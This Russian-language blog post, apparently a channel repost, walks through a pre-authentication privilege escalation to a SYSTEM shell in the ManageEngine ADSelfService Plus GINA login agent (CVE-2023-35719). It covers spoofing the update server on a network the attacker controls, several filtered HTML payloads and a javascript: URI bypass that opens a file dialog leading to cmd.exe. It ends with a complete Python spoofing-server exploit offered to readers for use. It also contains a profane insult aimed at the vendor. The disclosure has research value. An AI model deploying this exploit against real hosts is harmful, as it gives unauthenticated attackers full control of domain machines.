Повышение привилегий до SYSTEM через ADSelfService в конфигурации по умолчанию
ManageEngine ADSelfService Plus предоставляет интегрированное решение для самостоятельного управления паролями и единого входа. Данное решение помогает пользователям домена выполнять самостоятельный сброс пароля, самостоятельное разблокирование учетной записи, самостоятельное обновление личных данных сотрудника (например, номера мобильного телефона и фотографий) в Microsoft Windows Active Directory.
Подписывайся на AD_POHEQUE и ставь 👾
ADSelfService Plus устанавливает локальный агент (надстройка для Windows GINA) на управляемых компьютерах домена Windows, который можно использовать для сброса паролей пользователей Active Directory непосредственно с экрана входа.
GINA
Библиотека динамической компоновки (DLL) графической идентификации и проверки подлинности. GINA — это заменяемый компонент DLL, который загружается исполняемым файлом Winlogon . GINA реализует политику проверки подлинности интерактивной модели входа и, как ожидается, будет выполнять все идентификации и проверки подлинности взаимодействия с пользователем.
Данная уязвимость позволяет атакующему получить командную оболочку c привилегиям SYSTEM дедовским методом кликнув на
Browse -> C:\Windows\System32\cmd.exe на этапе предаутентификации. 😎
Похожая уязвимость была обнаружена Bhadresh Patel в 2020 году и исправлена в версии 6.0 сборка 6003.
Подтверждено, что данная уязвимость работает вплоть до версии ADSelfService Plus4.2.9, 2012 года выпуска, и вплоть до последней версии 6.3 Build 6301 на момент написания статьи (2023-06-23).
Если мы щелкнем на любой из опций в красных рамках выше, мы получим следующий экран, который позволяет сбросить пароль пользователя домена:
Очевидно, что это работает во встроенном окне браузера. Что произойдет, если мы отключим сеть и GINA не сможет достичь сервера ADSelfService Plus?
Что произойдет, если мы нажмем "Искать этот сайт в Bing"?
Можно вспомнить золотые техники дедов и попытаться проэкслуатировать простой вектор атаки: перейти в Bing, попытаться найти диалоговое окно для открытия файла и просто запустить cmd.exe от имени SYSTEM!
К сожалению, так просто не получится. Появляется всплывающее окно с надписью "External URL access is denied.", и окно закрывается. Ни одна из комбинаций клавиш Internet Explorer не работает, поэтому мы не можем открыть диалоговые окна, использовать сочетания клавиш + CTRL, нажимать клавиши F, "Просмотреть исходный код" и т. д.
Но заметьте, что нашей устройство пытается установить связь с сервером adselfservicepwn.com на порту 8888.
Подключим компьютер к другой сети, которую мы контролируем, вне обычной сети домена. Здесь есть много вариантов, мы можем подключить Ethernet-кабель или просто выбрать подконтрольную нам сеть Wi-Fi на экране входа. На сетевое подключение (по умолчанию) нет ограничений на экране предаутентификации входа Windows.
Подключившись к сети, которую мы контролируем, мы можем подменить сервер adselfpwnplus.com и снова вызвать экран сброса пароля.
Когда GINA пытается получить доступ к хосту adselfpwnplus.com, она отправляет следующий GET запрос:
GET /AgentStatusUpdate.cc?status=adssp_admin_gina_install_success&machineName=<MACHINE_NAME> &domainName=<DOMAIN_NAME>&version=5.9&defUser=ADSELFPWNPLUS\normaluser& HTTP/1.1
Давайте предоставим AgentStatusUpdate.cc на нашем поддельном сервере и отправим:
Похоже, что что-то удалило наше диалоговое окно файла, осталась только строка hello. И это происходит практически с любой техникой, которую можно придумать:
<a href="C:\windows\" /a>Директорию Windows не открыть</a>
<script>document.write('<input/type=file>')</script>
<input type="file" id="myfile" name="myfile">
<a href="mailto:me@mail.com">Это не работает</a>
<a href="file:///c:\">тем более не работает</a>Отображаемый HTML, отображаемому во встроенном окне браузера GINA, имеет какой-то черный список тегов или удаляет потенциально рисковый пользовательский ввод. Но была обнаружена годная статья "Give me a browser, I'll give you a Shell" от Rend, в которой говорится:
Если инструменты разработчика отключены по какой-либо причине, вы можете использовать один интересный протокол: javascript. Если браузер основан на Chromium, вы можете ввести это в строке URL и получить желаемый результат: javascript:document.write('<input/type=file>')
<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>Поскольку встроенный браузер - это Microsoft Edge (браузер по умолчанию в Windows 10), основанный на Chromium, мы получаем ссылку, на которую можно нажать (ПРИМЕЧАНИЕ: автор попробовал это в Windows 7 с Internet Explorer 11, и это тоже сработало!):
Мы нажимаем на нее и, НАКОНЕЦ, у нас появляется наше диалоговое окно файла!
Теперь эксплуатация тривиальна: просто перейдите в C:\Windows\System32 и найдите cmd.exe:
Щелкните правой кнопкой мыши, нажмите "Открыть" и вот GINA дает нам оболочку SYSTEM перед аутентификацией!
К слову, более старые версии ADSelfService Plus НЕ блокируют поиск в Bing и не блокируют диалоговые окна HTML-файлов, предоставляя нам еще два способа получить нашу оболочку. Это подтверждено работой хотя бы на версии v4.2.9.
- Черные списки не работают.
- Очень сложно обезопасить встроенные браузеры в операционной системе Windows.
- ManageEngine (разработчики ADSelfService Plus) - это куча говна, которая постоянно взламывается как минимум с 2014 года.
- За годы несколько других исследователей также обнаружили критические уязвимости в продуктах ManageEngine.
Не сомневаюсь, что ты в силах написать свой код для эксплуатации, но если вдруг сегодня не день Бэкхема, держи код на python ;)
#!/usr/bin/env python3
#
# Python HTTP server for exploiting CVE-2023-35719 / ZDI-23-891
# Auth Bypass to SYSTEM shell in ManageEngine ADSelfService Plus Windows GINA Client
# https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/adselfpwnplus/adselfpwnplus.md
#
# By:
#
# Pedro Ribeiro (pedrib@gmail.com|@pedrib1337)
# João Bigotte
# Ashley King
#
# Agile Information Security (https://agileinfosec.co.uk)
from http.server import BaseHTTPRequestHandler, HTTPServer
# HTTPRequestHandler class
class CustomRequestHandler(BaseHTTPRequestHandler):
# GET
def do_GET(self):
# Send response status code
self.send_response(200)
# Send headers
self.send_header('Content-type','text/html')
self.end_headers()
# Send message back to client
message = "<html><body><a href=\"javascript:document.write('<input/type=file>')\">Open up your GINA</a></body></html>"
# Write content as utf-8 data
self.wfile.write(bytes(message, "utf8"))
print("done")
return
def run():
print('starting server...')
# enter your listening address and port here for the ADSelfService Plus server spoof
# do not forget to add a dns entry for your domain name to point to this IP
server_address = ('13.33.37.1', 8888)
httpd = HTTPServer(server_address, CustomRequestHandler)
print('running server...')
httpd.serve_forever()
run()